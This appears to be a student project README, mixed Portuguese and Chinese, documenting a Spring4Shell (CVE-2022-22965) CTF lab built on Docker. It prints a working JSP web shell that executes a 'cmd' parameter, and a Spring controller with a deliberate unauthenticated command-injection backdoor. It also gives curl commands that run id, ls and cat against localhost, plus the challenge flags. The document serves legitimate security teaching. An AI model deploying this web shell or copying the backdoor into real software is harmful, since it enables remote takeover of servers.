yuting-huang0/spring4shell-ctfSpring4Shell (CVE-2022-22965) Configuração de Ambiente de Vulnerabilidade e Desafio CTF
Este projeto inclui uma implementação de pesquisa de segurança em duas trilhas:
Os participantes usarão a vulnerabilidade de execução remota de código (RCE) para seguir as pistas e ler a Flag no diretório raiz do sistema ou no diretório temporário.
# 更新套件庫
sudo apt update
# 安裝 Docker 與 Docker Compose
sudo apt install docker.io docker-compose -y
# 啟動 Docker 服務
sudo systemctl start docker
sudo systemctl enable docker
# 下載 Vulhub 專案
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# 進入 Spring4Shell 漏洞目錄
cd vulhub/spring/CVE-2022-22965
# 啟動 Docker 容器
sudo docker-compose up -d
# 確認容器正常運行
sudo docker ps
Abra o navegador e acesse http://localhost:8080/?name=Hacker&age=99
Para eliminar a adivinhação cega e recriar um cenário de desenvolvimento autônomo, este projeto cria um projeto independente Spring4Shell-Custom-CTF. Primeiro, execute uma limpeza completa do ambiente; em seguida, compile e inicie sem cache:
# 清理舊環境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# 建立專案目錄結構並生成全自製 Java 原始碼（含 pom.xml、UserController.java 等）
# 透過雙階段編譯（Maven + Tomcat 9）將自製 Flag 精確放置於系統根目錄 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# 確認自製靶機容器正常運行
sudo docker ps
Após o ataque ser bem-sucedido, o arquivo backdoor é gravado em webapps/ROOT/tomcatwar.jsp, com o seguinte conteúdo:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
No UserController.java customizado, a falha de vinculação de objetos POJO foi intencionalmente mantida e um canal de injeção de comandos não autorizado foi embutido:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// 直接調用 Java Runtime 執行底層命令並回傳結果
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... 讀取串流邏輯 ...
}
return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# 自製環境控制路徑
curl "http://localhost:8080/?cmd=id"
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# 自製環境控制路徑
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User). A Flag está localizada no diretório raiz do sistema do servidor./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 para confirmar que a vinculação de parâmetros está funcionando normalmente.tomcatwar.jsp.http://<target>:8080/tomcatwar.jsp?cmd=id para confirmar que o RCE foi bem-sucedido.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" para ler o arquivo da área temporária.O solucionador (Papel B), com base no anúncio de informações conhecidas fornecido pelo criador do desafio, recusa a adivinhação cega e executa os procedimentos padronizados:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root.curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # 專案說明文件
├── docker-compose.yml # 容器編排配置文件
├── Dockerfile # 雙階段編譯映像檔設定
├── pom.xml # Maven 專案設定檔
├── src/ # 自製 Java 成果展示系統原始碼
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # 本地 Flag 來源檔案
├── screenshots/ # 成果展示與攻擊截圖
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # 舊版後門檔案原始碼
| Papel | Nome | Atividades |
|---|---|---|
| Membro A | 黃鈺婷 | Configuração do ambiente, escrita do código-fonte Java de todo o projeto, empacotamento Docker e solução do desafio CTF em 5 etapas padrão |
| Membro B | 利蓁琳 | Pesquisa teórica, elaboração dos slides, edição do vídeo do relatório e organização do roteiro da solução |
Este projeto é destinado apenas a fins educacionais e de pesquisa. Não o utilize em sistemas não autorizados.